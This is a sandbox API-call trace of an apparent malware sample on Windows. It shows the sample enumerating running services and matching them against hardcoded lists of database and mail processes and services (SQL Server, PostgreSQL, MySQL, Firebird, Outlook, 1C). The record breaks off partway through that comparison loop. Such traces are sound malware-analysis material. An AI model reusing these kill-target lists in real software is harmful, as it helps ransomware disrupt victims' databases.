Sleep (dwMilliseconds=0x0) [0282.991] RtlExitUserThread (Status=0x0) Thread: id = 3444 os_tid = 0x2720 [0282.856] GetACP () returned 0x4e4 [0282.856] GetACP () returned 0x4e4 [0282.856] Sleep (dwMilliseconds=0x0) [0282.991] RtlExitUserThread (Status=0x0) Thread: id = 3445 os_tid = 0x5d0 [0282.856] GetACP () returned 0x4e4 [0282.856] GetACP () returned 0x4e4 [0282.856] Sleep (dwMilliseconds=0x0) [0282.992] RtlExitUserThread (Status=0x0) Thread: id = 3446 os_tid = 0x84 [0282.857] GetACP () returned 0x4e4 [0282.857] GetACP () returned 0x4e4 [0282.857] Sleep (dwMilliseconds=0x0) [0282.992] RtlExitUserThread (Status=0x0) Thread: id = 3448 os_tid = 0x26f0 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c6148 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6148, Size=0x20) returned 0x76fe40 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76fe40, Size=0x40) returned 0x742770 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742770, Size=0x80) returned 0x7ce380 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7ce380, Size=0x100) returned 0x7c4258 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c6148 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6148, Size=0x20) returned 0x76feb8 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76feb8, Size=0x40) returned 0x742770 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742770, Size=0x80) returned 0x7cd968 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7cd968, Size=0x100) returned 0x7c35f8 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7c61c0 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x7c5748 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c5ff8 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c5748, Size=0x8) returned 0x7c5788 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746698 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c5788, Size=0x10) returned 0x7c6148 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x7467d8 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1a) returned 0x76fe40 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6148, Size=0x20) returned 0x76fe68 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1c) returned 0x76fe90 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x16) returned 0x746958 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1a) returned 0x76fee0 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7c6148 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x7c5838 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x742770 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c5838, Size=0x8) returned 0x7c5748 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x3c) returned 0x7427b8 [0285.787] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c5748, Size=0x10) returned 0x7c6448 [0285.787] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746658 [0285.788] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x7468d8 [0285.788] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6448, Size=0x20) returned 0x76feb8 [0285.788] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24) returned 0x747a88 [0285.788] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0285.788] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c4258 | out: hHeap=0x730000) returned 1 [0285.788] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0285.788] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c35f8 | out: hHeap=0x730000) returned 1 [0285.788] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bdbe8 [0285.788] EnumServicesStatusExW (in: hSCManager=0x7bdbe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0285.789] GetLastError () returned 0xea [0285.789] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x7c90f8 [0285.789] EnumServicesStatusExW (in: hSCManager=0x7bdbe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7c90f8, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7c90f8, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0285.790] CloseServiceHandle (hSCObject=0x7bdbe8) returned 1 [0285.790] lstrlenW (lpString="Appinfo") returned 7 [0285.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0285.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0285.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0285.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0285.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0285.790] lstrlenW (lpString="AppXSvc") returned 7 [0285.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0285.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0285.790] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0285.790] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0285.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0285.790] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0285.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.790] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0285.790] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0285.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0285.790] lstrlenW (lpString="Audiosrv") returned 8 [0285.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0285.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0285.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0285.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0285.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0285.791] lstrlenW (lpString="BFE") returned 3 [0285.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0285.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0285.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0285.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0285.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0285.791] lstrlenW (lpString="BITS") returned 4 [0285.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0285.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0285.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0285.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0285.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0285.791] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0285.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0285.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0285.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0285.791] lstrlenW (lpString="CDPSvc") returned 6 [0285.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0285.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0285.791] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0285.791] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0285.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0285.791] lstrlenW (lpString="ClickToRunSvc") returned 13 [0285.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.791] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0285.791] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0285.792] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0285.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0285.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0285.792] lstrlenW (lpString="CryptSvc") returned 8 [0285.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0285.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0285.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0285.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0285.792] lstrlenW (lpString="DcomLaunch") returned 10 [0285.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0285.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0285.792] lstrlenW (lpString="DeviceAssociationService") returned 24 [0285.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0285.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0285.792] lstrlenW (lpString="Dhcp") returned 4 [0285.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0285.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0285.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0285.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0285.792] lstrlenW (lpString="Dnscache") returned 8 [0285.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0285.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0285.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0285.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0285.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0285.793] lstrlenW (lpString="DPS") returned 3 [0285.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0285.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0285.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0285.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0285.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0285.793] lstrlenW (lpString="DusmSvc") returned 7 [0285.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0285.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0285.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0285.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0285.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0285.793] lstrlenW (lpString="EventLog") returned 8 [0285.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0285.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0285.793] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0285.793] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0285.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0285.793] lstrlenW (lpString="EventSystem") returned 11 [0285.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0285.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0285.793] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0285.793] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0285.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0285.793] lstrlenW (lpString="FontCache") returned 9 [0285.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0285.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0285.793] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0285.793] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0285.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0285.793] lstrlenW (lpString="gpsvc") returned 5 [0285.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0285.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0285.793] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0285.793] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0285.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0285.794] lstrlenW (lpString="iphlpsvc") returned 8 [0285.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.794] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0285.794] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0285.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0285.794] lstrlenW (lpString="KeyIso") returned 6 [0285.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0285.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0285.794] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0285.794] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0285.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0285.794] lstrlenW (lpString="LanmanServer") returned 12 [0285.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0285.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0285.794] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0285.794] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0285.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0285.794] lstrlenW (lpString="LanmanWorkstation") returned 17 [0285.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.794] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0285.794] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0285.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0285.794] lstrlenW (lpString="lfsvc") returned 5 [0285.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0285.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0285.794] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0285.794] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0285.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0285.794] lstrlenW (lpString="lmhosts") returned 7 [0285.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0285.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0285.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0285.795] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0285.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0285.795] lstrlenW (lpString="LSM") returned 3 [0285.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0285.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0285.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0285.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0285.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0285.795] lstrlenW (lpString="MpsSvc") returned 6 [0285.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0285.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0285.795] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0285.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0285.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0285.795] lstrlenW (lpString="NcbService") returned 10 [0285.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0285.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0285.795] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0285.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0285.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0285.795] lstrlenW (lpString="netprofm") returned 8 [0285.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0285.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0285.795] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0285.795] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0285.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0285.795] lstrlenW (lpString="NgcSvc") returned 6 [0285.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0285.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0285.795] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0285.795] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0285.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0285.795] lstrlenW (lpString="NlaSvc") returned 6 [0285.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0285.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0285.796] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0285.796] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0285.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0285.796] lstrlenW (lpString="nsi") returned 3 [0285.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0285.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0285.796] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0285.796] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0285.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0285.796] lstrlenW (lpString="PcaSvc") returned 6 [0285.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0285.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0285.796] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0285.796] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0285.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0285.796] lstrlenW (lpString="PlugPlay") returned 8 [0285.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0285.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0285.796] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0285.796] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0285.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0285.796] lstrlenW (lpString="Power") returned 5 [0285.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0285.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0285.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0285.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0285.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0285.796] lstrlenW (lpString="ProfSvc") returned 7 [0285.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0285.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0285.796] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0285.796] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0285.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0285.797] lstrlenW (lpString="RpcEptMapper") returned 12 [0285.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.797] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0285.797] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0285.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0285.797] lstrlenW (lpString="RpcSs") returned 5 [0285.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0285.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0285.797] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0285.797] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0285.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0285.797] lstrlenW (lpString="SamSs") returned 5 [0285.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0285.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0285.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0285.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0285.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0285.797] lstrlenW (lpString="Schedule") returned 8 [0285.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0285.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0285.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0285.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0285.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0285.797] lstrlenW (lpString="SecurityHealthService") returned 21 [0285.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.797] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0285.797] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0285.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0285.797] lstrlenW (lpString="SENS") returned 4 [0285.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0285.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0285.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0285.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0285.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0285.798] lstrlenW (lpString="ShellHWDetection") returned 16 